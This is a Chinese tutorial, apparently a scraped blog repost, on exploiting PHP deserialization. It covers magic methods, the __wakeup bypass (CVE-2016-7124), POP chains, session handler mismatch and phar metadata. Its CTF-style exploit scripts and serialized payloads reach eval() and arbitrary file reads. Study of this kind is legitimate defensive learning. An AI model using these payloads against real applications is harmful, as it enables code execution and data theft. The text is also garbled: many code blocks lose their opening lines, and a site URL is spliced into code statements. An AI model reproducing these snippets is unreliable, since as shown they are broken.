由浅入深理解PHP反序列化漏洞
- 前言
- 什么是序列化和反序列化
- 什么是序列化
- PHP序列化
- 序列化格式
- 属性不同的访问类型的序列化区别
- PHP反序列化
- PHP为什么要序列化和反序列化
- 魔术方法
- 魔术方法在反序列化攻击中的作用
- __wakeup绕过(CVE-2016-7124)
- POP链的构造
- PHP Session反序列化漏洞
- 什么是PHP Session?
- PHP session工作流程
- PHP Session在php.ini中的有关配置
- PHP session 不同引擎的存储机制
- PHP session反序列化漏洞形成原理
- session反序列化练习
- 拓展PHP反序列化攻击面:Phar反序列化漏洞
- 什么是Phar?
- Phar文件结构
- Phar如何扩展攻击面进行漏洞利用的
前言
笔者参考各位师傅的文章自己做的一点点小总结,因笔者本人太菜,可能很多别的反序列化的方面一些漏洞姿势没有概括到,后面碰到再补上吧。如果有什么写的不好的地方,请各位师傅指正,谢谢~什么是序列化和反序列化 什么是序列化
大家肯定都知道
json
数据,每组数据使用,
分隔开,数据内使用:
分隔键
和值
"m0c1nu7","No2"=>"mochu7","No3"=>"chumo");
echo json_encode($arr);
PS C:\Users\Administrator\Desktop\Test\php> php .\test1.php
{"No1":"m0c1nu7","No2":"mochu7","No3":"chumo"}
可以看到
json
数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json
数据,可以通过json_decode()
得到原数据,那么这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化
PHP序列化
php从
PHP 3.05
开始,为保存、传输对象数据提供了一组序列化函数serialize()
、unserialize()
serialize()//将一个对象转换成一个字符串
unserialize()//将字符串还原为一个对象
php的序列化也是一个将各种类型的数据,压缩并按照一定的格式进行存储的过程,所使用的函数是
serialize()
那么PHP的序列化又是怎样的呢?看下面这个例子:
//test2.php
id = 'm0c1nu7';
$this->gender = 'male';
$this->age = '19';
}
}
$a = new People();
echo serialize($a);
?>
PS C:\Users\Administrator\Desktop\Test\php> php .\test2.php
O:6:"People":3:{s:2:"id";
s:7:"m0c1nu7";
s:9:" * gender";
s:4:"male";
s:11:" People age";
s:2:"19";
}
文章图片
PHP序列化注意以下几点:序列化格式
序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
- 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
属性不同的访问类型的序列化区别a
-array 数组型
b
-boolean 布尔型
d
-double 浮点型
i
-integer 整数型
o
-common object 共同对象
r
-objec reference 对象引用
s
-non-escaped binary string 非转义的二进制字符串
S
-escaped binary string 转义的二进制字符串
C
-custom object 自定义对象
O
-class 对象
N
-null 空
R
-pointer reference 指针引用
U
-unicode string Unicode 编码的字符串
文章图片
$id
是public
类型、$gender
是protected
类型、$age
是private
类型从上面的图中可以发现,
public
类型的$id
属性序列化结果和另外两个属性的不太一样,这就涉及到不同权限的属性序列化问题其实我们看图中,主要是属性名的序列化结果不同,属性值还是正常的序列化格式
Public
public
属性就是标准的序列化结果,属性类型:属性名长度:属性名
Protected
protected
属性名序列化结果:s:9:" * gender"
,属性名前有不见字符,用hexdump看一下
文章图片
可以看到protected
属性序列化之后的属性名前会多出个\00*\00
或者写成%00*%00
PrivatePHP反序列化
private
属性序列结果s:11:" People age"
,用hexdump看一下
文章图片
可以看到private
属性序列化之后会在属性名前加上类名People
,而且在类名的两侧会加上\00
或者说%00
反序列化就是将序列化格式化存储好的的字符还原成对象的过程
//test1.php
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
object(__PHP_Incomplete_Class)#1 (4) {
["__PHP_Incomplete_Class_Name"]=>
string(6) "People"
["id"]=>
string(7) "m0c1nu7"
[" * gender"]=>
string(4) "male"
[" People age"]=>
string(2) "19"
}
PS C:\Users\Administrator\Desktop\Test\php>
来个看网上找的个简单的例子,为了更加凸显漏洞效果我修改了点下代码,看看反序列化是如何控制属性达到漏洞利用的效果的
flag = $flag;
}
public function get_flag()
{
return eval($this->flag);
}
}$data = https://www.it610.com/article/file_get_contents("serialize.txt");
$data = https://www.it610.com/article/unserialize($data);
echo $data->hello."
";
echo $data->get_flag();
可以发现漏洞点是
set_flag()
使用了外部接受的参数对类内的私有属性$flag
进行了赋值,而get_flag()
又使用了eval()
函数执行了$flag
导致漏洞。漏洞成因看了接下来就是构造POC,只需对set_flag()
传入一个参数即可flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}$object = new Hello();
$object->set_flag('phpinfo();
');
$data = https://www.it610.com/article/serialize($object);
这是把
$object->set_flag('phpinfo();
');
这段代码注释的效果文章图片
序列化字符:
O:5:"Hello":2:{s:5:"hello";
s:10:"Welcome!!!";
s:11:" Hello flag";
s:15:"echo 'No Way!';
";
}
下面这是poc利用效果
文章图片
序列化字符:
O:5:"Hello":2:{s:5:"hello";
s:10:"Welcome!!!";
s:11:" Hello flag";
s:10:"phpinfo();
";
}
这里还可以修改其他属性的值,例如:
O:5:"Hello":2:{s:5:"hello";
s:17:"Hacker By m0c1nu7";
s:11:"Helloflag";
s:10:"phpinfo();
";
}
文章图片
PHP为什么要序列化和反序列化
PHP的序列化与反序列化其实是为了解决一个问题:那就是
PHP对象传递
的一个问题我们都知道
PHP对象是存放在内存的堆空间段
上的,PHP文件在执行结束的时候会将对象销毁。那如果刚好要用到销毁的对象难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文中可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
魔术方法
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
在PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用
__construct()//类的构造函数,创建对象时触发__destruct()//类的析构函数,对象被销毁时触发__call()//在对象上下文中调用不可访问的方法时触发__callStatic()//在静态上下文中调用不可访问的方法时触发__get()//读取不可访问属性的值时,这里的不可访问包含私有属性或未定义__set()//在给不可访问属性赋值时触发__isset()//当对不可访问属性调用 isset() 或 empty() 时触发__unset()//在不可访问的属性上使用unset()时触发__invoke()//当尝试以调用函数的方式调用一个对象时触发__sleep()//执行serialize()时,先会调用这个方法__wakeup()//执行unserialize()时,先会调用这个方法__toString()//当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__toString()
这个魔术方法能触发的因素太多,觉得有必要需要列一下:-
echo($obj)
/print($obj)
打印时会触发
- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行
==
比较时(PHP进行==比较的时候会转换参数类型)
- 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串处理函数,如
strlen()
、strops()
、strcmp()
、addslashes()
等
- 在
in_array()
方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()
返回的字符串的时候__toString()
会被调用
- 反序列化的对象作为
class_exists()
的参数的时候
来看一下运行结果:
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
__construct
__sleep
__wakeup
__toString
__destruct
__destruct
首先
new
实例化了这个类,创建了对象,这就肯定会有一个__construct()
方法和__destruct()
,然后使用了serialize()
和unserialize()
函数就肯定会有__sleep()
方法和__wakeup()
方法,然后又因为使用了echo
或print
这样的把对象输出为一个字符串的操作,所以就触发了__toString()
方法,那么还有另外一个__destruct()
方法是怎触发的呢?其实这个__destruct()
方法时unserialize()
函数反序列化生成的对象销毁的时候触发的,前面已经讲了对象都会在程序执行完成之后销毁魔术方法在反序列化攻击中的作用
我们都知道反序列化的入口是在
unserialize()
,只要参数可控并且这个类在当前作用域存在,我们就能传入任何已经序列化的对象。而不是局限于出现unserialize()
函数的类的对象,如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果你没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击但是利用魔术方法就可以扩大了攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的
通过下面这个例子再来理解一下魔术方法在反序列漏洞中的作用,代码如下:
test = new Welcome();
}function __destruct(){
$this->test->action();
}
}class Welcome{
function action(){
echo "Welcome to here";
}
}class Evil{
var $test2;
function action(){
eval($this->test2);
}
}unserialize($_GET['str']);
?>
首先来分析一下代码,主要是看哪里的属性可控,并且哪里有对象调用方法的操作,我们的目的很清楚,就是要调用
Evil
类中的action()
方法,并且控制Evil
类中的$test2
这个属性。可以看到M0c1nu7
类中的魔术方法__construct
有把对象赋到$teset
属性上,然后在__destruct()
有调用action()
方法的操作,那就这思路就很清晰了,POC如下:test = new Evil;
}
}class Evil{
var $test2 = 'phpinfo();
';
}$M0c1nu7 = new M0c1nu7();
$data = https://www.it610.com/article/serialize($M0c1nu7);
echo $data;
?>
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:7:"M0c1nu7":1:{s:13:" M0c1nu7 test";
O:4:"Evil":1:{s:5:"test2";
s:10:"phpinfo();
";
}}
注意:``$test
是私有方法,传入反序列化字符的时候,应该在前面的类名两侧加上%00
,payload如下:?str=O:7:"M0c1nu7":1:{s:13:"%00M0c1nu7%00test";
O:4:"Evil":1:{s:5:"test2";
s:10:"phpinfo();
";
}}
文章图片
__wakeup绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
官方给出的影响版本:通过一道题目来理解一下:
PHP5 < 5.6.25
PHP7 < 7.0.10
笔者使用phpstudy_pro测试出来的影响版本:
PHP5 <= 5.6.9
PHP7 < 7.0.10
//test.php
file)){
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Worng filename.');
}
}
function __wakeup(){
$this->file = 'test.php';
}
public function __toString(){
return '';
}
}if(!isset($_GET['file'])){
show_source('test.php');
}else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
echo phpversion();
?>
代码很简单就是原本的功能就是显示源码,主要是这里如何绕过反序列化之后执行的
__wakeup()
方法中的$this->file='test.php'
来读取别的文件,这里就是使用CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
//poc.php
运行结果:
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:5:"MoChu":1:{s:7:" * file";
s:8:"flag.php";
}
最终得到的反序列化字符:注意:
file
是protected
类型的属性,反序列化需要在属性名前加上\00*\00
- 这里使用了
\00
就是使用了转义的二进制字符串
,在前面序列化的格式已经提及使用了转义的二进制字符串,符号是要使用大写的S
O:5:"MoChu":2:{S:7:"\00*\00file";
s:8:"flag.php";
}
得到的base64:
Tzo1OiJNb0NodSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
文章图片
可以看到,
PHP 5.6.9
虽然报错了,但是还是读出了源码POP链的构造 POP全称
Property-Oriented Programing
即面向属性编程
,用于上层语言构造特定调用链的方法,玩pwn的肯定都知道ROP
全称Return-Oriented Progaming
即面向返回编程
POP
和ROP
原理相似,都是从现有的环境中寻找一系列的代码或指令调用,然后根据需求构成一组连续的调用链。在控制代码或程序的执行流程后就能够使用这一组调用链来执行一些操作在二进制利用时,
ROP
链构造中时寻找当前系统环境中或内存环境中已经存在的、具有固定地址且带有返回操作的指令集而
POP
链构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作二进制中通常是由于内存溢出控制了指令执行流程、而反序列化过程就是控制代码执行流程的方法之一,前提:
进行反序列化的数据能够被用于输入所控制
一般序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码在没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造
POP
连寻找相同的函数名将类的属性和敏感函数的属性联系起来通过下面几道题尝试深入理解一下POP
链的构造
str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}public function __get($key){
return $this->get($key);
}public function get($key){
if(isset($this->params[$key])){
$value = https://www.it610.com/article/$this->params[$key];
} else {
$value = "https://www.it610.com/article/index.php";
}
return $this->file_get($value);
}public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>
我们首先确定目标就是
Test::file_get()
里面的file_get_contents()
读取文件,可以看到get()
方法中调用了file_get()
方法,接下来看一下哪里有调用get()
,发现在魔术方法__get()
中调用了get()
那么现在的POP链
是:Test::__get()->Test::get()->Test::file_get()
接下来首先必须知道
__get()
的触发条件:读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
,接着看一下哪里触发了魔术方法__get()
,在Show::__toString()
中出现了未定义属性$content
并对其进行赋值,这样就会触发__get()
方法,利用的时候只需把Test
对象赋值给$this->str['str']
,接下来看一下哪里会触发__toString()
方法,在C1e4r:__destruct()
有echo
操作,这样就触发了__toString()
,那么完整的POP链
如下:Cle4r::str->Show::str['str']->Test::__get->Test::get()::Test::file_get()
构造利用脚本如下:
str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}class Show{
public $str;
public $source;
public function __toString(){
$content = $this->str['str']->source;
return (string)$content;
}
}class Test{
public $file;
public $params;
}$T=new Test();
$T->params=array('source'=>'D:\phpstudy_pro\WWW\Test\flag.php');
//这里好像只能使用绝对路径才能读取到
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>
再来看一题,代码如下:
mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
?>
这里的
POP
链也很简单,首先我们的目标是GetFlag::get_flag()
,在string1::__toString()
调用了get_flag()
,这里把GetFlag
类对象赋值给$str1
即可func::__invoke()
有字符串和属性拼接的操作,我们只需要将string1
的类对象赋值给$mod1
即可触发__toString()
方法,接着看哪里触发了__invoke()
方法__invoke():当尝试以调用函数的方式调用一个对象时触发
,funct::__call()
中有$s1()
调用函数方式,而$s1 = $this->mod1;
,所以只需要把func
类对象赋值给$mod1
即可触发__invoke()
,接下来看如何触发__call()
__call():在对象上下文中调用不可访问的方法时触发
,在Call::test1()
存在调用未定义的不可访问方法,将funct
类对象赋值给$mod1
,然后start_gg::__destruct()
调用了Call::test()
,把Call
类对象赋值给$mod1
即可,整个POP
链如下:start_gg::__destruct()->Call::test1()->funct::__call()->func::__invoke()::string1::__toString()->GetFlag::get_flag()
利用脚本如下:
mod1 = new Call();
//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();
//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();
//把 $mod1赋值为func类对象}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();
//把 $mod1赋值为string1类对象}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();
//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;
//构造start_gg类对象$b
echo urlencode(serialize($b))."
";
//显示输出url编码后的序列化对象
反序列化结果字符串:
O:8:"start_gg":2:{s:4:"mod1";
O:4:"Call":2:{s:4:"mod1";
O:5:"funct":2:{s:4:"mod1";
O:4:"func":2:{s:4:"mod1";
O:7:"string1":1:{s:4:"str1";
O:7:"GetFlag":0:{}}s:4:"mod2";
N;
}s:4:"mod2";
N;
}s:4:"mod2";
N;
}s:4:"mod2";
N;
}
验证结果如下:
文章图片
PHP Session反序列化漏洞 什么是PHP Session?
首先来了解一下什么是session
?
session
在计算机网络应用中称为会话控制
。创建于服务器端,保存于服务器。session
对象存储特定用户所需的属性及配置信息。简单来说就是一种客户与服务器更为安全的对话方式。一旦开启了session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建议一种对话机制
什么是PHP session
?
PHP session
可以看作是一个特殊的变量,且该变量适用于存储关于用户的会话信息,或者更改用户会话的设置,需要注意的是,PHP session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且对应的具体session
值会存储于服务器端,这也是与cookie
的主要区别,所以session
的安全性相对较高PHP session工作流程
文章图片
当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用
cookie
,如果请求包中未发现session id
,PHP就会自动调用php_session_create_id
函数创建一个新的会话,并且在响应包头中通过set-cookie
参数发给客户端保存当客户端
cookie
被禁用的情况下,PHP会自动将session id
添加到url参数
、form
、hidden
字段中,但这需要php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set()
函数来设置这个配置项PHP session会话开始之后,PHP就会将会话中的数据设置到
$_SESSION
变量中,当PHP停止运行时,它会自动读取$_SESSION
中的内容,并将其进行序列化
,然后发送给会话保存管理器来进行保存。默认情况下,PHP使用内置的文件会话保存管理器来完成session
的保存,也可以通过配置项session.save_handler
来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path
所指定的位置
文章图片
PHP Session在php.ini中的有关配置
以笔者本地环境的
php.ini
例:phpstudy_pro
、PHP 7.4.3
只列出一些关于php session的配置:
session.serialize_handler = php//定义用来session序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp"//session的存储路径
session.save_handler = files//该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start = 0//指定会话模块是否在请求开始时启动一个会话,默认值为0不启动
PHP session 不同引擎的存储机制
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,如Codeigniter
框架的session
存储的文件名为ci_sessionSESSIONID
session.serialize_handler
定义的引擎共有三种:处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自PHP 5.5.4起可以使用php_serialize
上述三种处理器中,
php_serialize
在内部简单地直接使用 serialize/unserialize
函数,并且不会有php
和 php_binary
所具有的限制。 使用较旧的序列化处理器导致$_SESSION
的索引既不能是数字也不能包含特殊字符(|
和 !
)来看一下三种不同的
session
序列化处理器的处理结果序列化存储格式:session.serialize_handler = php
,序列化引擎为php
键名 + 竖线 + 经过serialize()函数序列化处理的值
文章图片
序列化结果:
session|s:7:"m0c1nu7";
session
为$_SESSION['session']
键名,|
后为序列化格式字符串序列化存储格式:session.serialize_handler = php_binary
,序列化引擎为php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
为了更能直观的体现出格式的差别,因此这里设置了键值长度为
38
,38
对应ASCII为&
文章图片
序列化结果:
&php_binary_sessionsessionsession_hhhhhs:7:"m0c1nu7";
序列化存储格式:session.serialize_handler = php_serialize
,序列化引擎为php_serialize
经过serialize()函数序列化处理的数组
文章图片
序列化结果:
a:1:{s:7:"session";
s:7:"m0c1nu7";
}
a:1
表示$_SESSION
数组中有1
个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值PHP session反序列化漏洞形成原理
反序列化的各个处理器本身是没有问题的,但是如果
php
和php_serialize
这两个处理区混合起来使用,就会出现session
反序列化漏洞。原因是php_serialize
存储的反序列化字符可以引用|
,如果这时候使用php
处理器的格式取出$_SESSION
的值,|
会被当成键值对的分隔符
,在特定的地方会造成反序列化漏洞举个简单的例子
定义一个
session.php
,用于传入session
的值//session.php
首先看一下
session
的内容文章图片
a:1:{s:7:"session";
s:10:"helloworld";
}
再定义一个
class.php
//class.php
".$this->name;
}
}
$str = new Hello();
?>
访问该页面回显以下内容:
实例化对象之后回显
mochu
文章图片
session.php
文件处理器是php_serialize
,class.php
文件的处理器是php
,session.php
文件的作用是传入可控的session
值,class.php
文件的作用是在反序列化开始触发__wakeup
方法的内容,反序列化结束的时候触发__destruct()
方法漏洞利用就是在
session.php
的可控点传入|
+序列化字符串
,然后再次访问class.php
调用session
值的时候会触发利用脚本如下:
'.$this->name;
}
}
$str = new Hello();
$str->name = "m0c1nu7";
echo serialize($str);
?>
文章图片
传入
session.php
的payload:|O:5:"Hello":1:{s:4:"name";
s:7:"m0c1nu7";
}
文章图片
查看存储的
session
文章图片
a:1:{s:7:"session";
s:42:"|O:5:"Hello":1:{s:4:"name";
s:7:"m0c1nu7";
}";
}
然后再次访问
class.php
文章图片
可以发现如果程序中设置了不同的
session
序列化引擎,通过控制session
传入点,攻击者可以把构造好的序列化字符串拼接进session
存储文件中,当再次调用session
时触发并反序列化导致形成漏洞session反序列化练习
笔者本地测试的时候没有复现成功,不知道原因(如果你本地复现成功,麻烦评论区指教一下,谢谢)所以还是别人原来的题目环境吧
题目地址:http://web.jarvisoj.com:32784/index.php
mdzz = 'phpinfo();
';
}function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>
代码很简单就不解读了,先看一下
phpinfo()
的信息,先查看一下session.serialize_handler
文章图片
php.ini
中使用的引擎是php_serialize
,而程序中使用的引擎是php
,这就导致session
在序列化
和反序列化
使用的引擎不同,接下来来看看这个选项文章图片
PHP手册构造
Session 上传进度
当session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值
POST
表单,提交传入序列化字符串
构造利用脚本
运行结果:
PS D:\phpstudy_pro\WWW\Test> php -f .\test7.php
O:5:"OowoO":1:{s:4:"mdzz";
s:24:"echo(dirname(__FILE__));
";
}
将序列化结果使用符号
|
进行拼接到服务器中的session
序列化保存文件中文章图片
因为要放到
filename
中的双引号中,所以这里转义一下双引号:|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:24:\"echo(dirname(__FILE__));
\";
}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:37:\"var_dump(scandir(dirname(__FILE__)));
\";
}
文章图片
|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));
\";
}
文章图片
再来看安恒杯的一道题,但是本地还是无法复现成功,看一下解题过程吧:
varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __destruct(){
echo "
这是foo2的析构函数
";
}
}class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __destruct(){
echo "
这是foo3的析构函数
";
}
}
?>
varr = "phpinfo.php";
?>
首先来分析一下代码把,目标是调用
foo3::execute()
,然后在foo2::__toString()
中调用了execute()
,那就把foo3
的类对象赋值给foo2:$obj
,然后再看一下哪里触发了__toString()
,可以发现在foo1:__destruct()
有使用echo
将对象输出为字符的操作,这里会触发__toString()
,把foo2
类对象赋值给foo1:$varr
POP
链为:foo1::__destruct()->foo2::__toString()->foo3::execute()
varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}$obj = new foo1();
print_r(serialize($obj));
?>
O:4:"foo1":1:{s:4:"varr";
O:4:"foo2":2:{s:4:"varr";
s:10:"1234567890";
s:3:"obj";
O:4:"foo3":1:{s:4:"varr";
s:14:"echo "spoock";
";
}}}
写入方式主要是利用PHP中
Session Upload Progress
来进行设置,提交一个名为PHP_SESSION_UPLOAD_PROGRESS
的变量,就可以将filename
的值赋到session
中
抓包修改
filename
即可,注意在开头添加符号|
以及双引号转义,最终payload:|O:4:\"foo1\":1:{s:4:\"varr\";
O:4:\"foo2\":2:{s:4:\"varr\";
s:10:\"1234567890\";
s:3:\"obj\";
O:4:\"foo3\":1:{s:4:\"varr\";
s:14:\"echo \"spoock\";
\";
}}}
因为最终无法本地复现达到效果,就不演示了,原理就是这样
拓展PHP反序列化攻击面:Phar反序列化漏洞 什么是Phar?
文章图片
Phar:Php archive
Phar(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源捆绑到一个归档文件中来实现应用程序和库的分发,类似于JAVA JAR的一种打包文件,自
PHP 5.3.0
起,PHP默认开启对后缀为.phar
的文件的支持官方解释(译文):
phar
扩展提供了一种将整个PHP应用程序放入称为phar(php归档文件)
的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar
扩展还提供了一种文件格式抽象方法,用于通过PharData
类创建和处理tar
和zip
文件
Phar
存档最有特色的特点是它是将多个文件分组为一个文件的便捷方法。这样,phar
存档提供了一种将完整的PHP
应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,此外PHP可以像在命令行上和从web服务器上的任何其他文件一样轻松地执行phar存档。Phar
有点像PHP应用程序的拇指驱动器
Phar
文件缺省状态是只读的,使用Phar
文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar
文件,所以需要允许写入Phar
文件,这需要修改一下php.ini
,在php.ini
文件末尾添加下面这段即可[phar]Phar文件结构
phar.readonly = 0
文章图片
存根,也可以理解为Phar文件的标识,要求
- a stub
phar
文件必须以__HALT_COMPILER();
?>
结尾,否则无法被phar扩展
识别为phar
文件前面提到过,
- a mainifest describing the contents
phar
是一种压缩打包的文件格式,这部分用来存储压缩文件的权限、属性等信息,并且以序列化
格式存储用户自定义的meta-data
,这里也是反序列化攻击利用的核心文章图片
这部分是压缩的文件具体内容
- the file contents
- [optional] a signature for verifying Phar integrity (phar file format only)
文章图片
phar文件格式签名,放在文件末尾
Phar如何扩展攻击面进行漏洞利用的
phar
在压缩文件包时,会以序列化的形式存储用户自定义的meta-data
,配合phar://
就能一些函数等参数可控的情况下实现自动反序列化操作,于是攻击者就可以精心构造phar
包在没有unserialize()
的情况下实现自动反序列化攻击,从而很大的拓展了反序列化漏洞的攻击面受影响函数列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fikeperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
Demo
,如何创建一个合法的phar压缩文件startBuffering();
$phar->setStub("__HALT_COMPILER();
?>");
//设置stub
$o=new TestObject();
$phar->setMetadata($o);
//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","m0c1nu7 is the best");
//添加要压缩的文件及文件内容
//签名自动计算$phar->stopBuffering();
?>
文章图片
接下来构造利用脚本,
php
通过用户定义和内置的流包装器
实现复杂的文件处理功能。内置包装器可用于文件系统函数,如fopen()
,file_get_contents()
,copy()
,file_exists()
和filesize()
。 phar://
就是一种内置的流包装器php常见流包装器:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
文章图片
再将上面的题目稍微修改修改
output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}
?>
这题不用phar反序列化根本做不了,构造脚本
startBuffering();
$phar->setStub("__HALT_COMPILER();
?>");
$phar->setMetadata($o);
$phar->addFromString('test.txt','m0c1nu7');
$phar->stopBuffering();
?>
文章图片
【Web|由浅入深理解PHP反序列化漏洞】参考文章:
https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解PHP反序列化漏洞/
https://xz.aliyun.com/t/3674
https://xz.aliyun.com/t/6640
https://www.neatstudio.com/show-161-1.shtml
https://mp.weixin.qq.com/s/hEWi1qKAcb1-8bGlhmg-1A
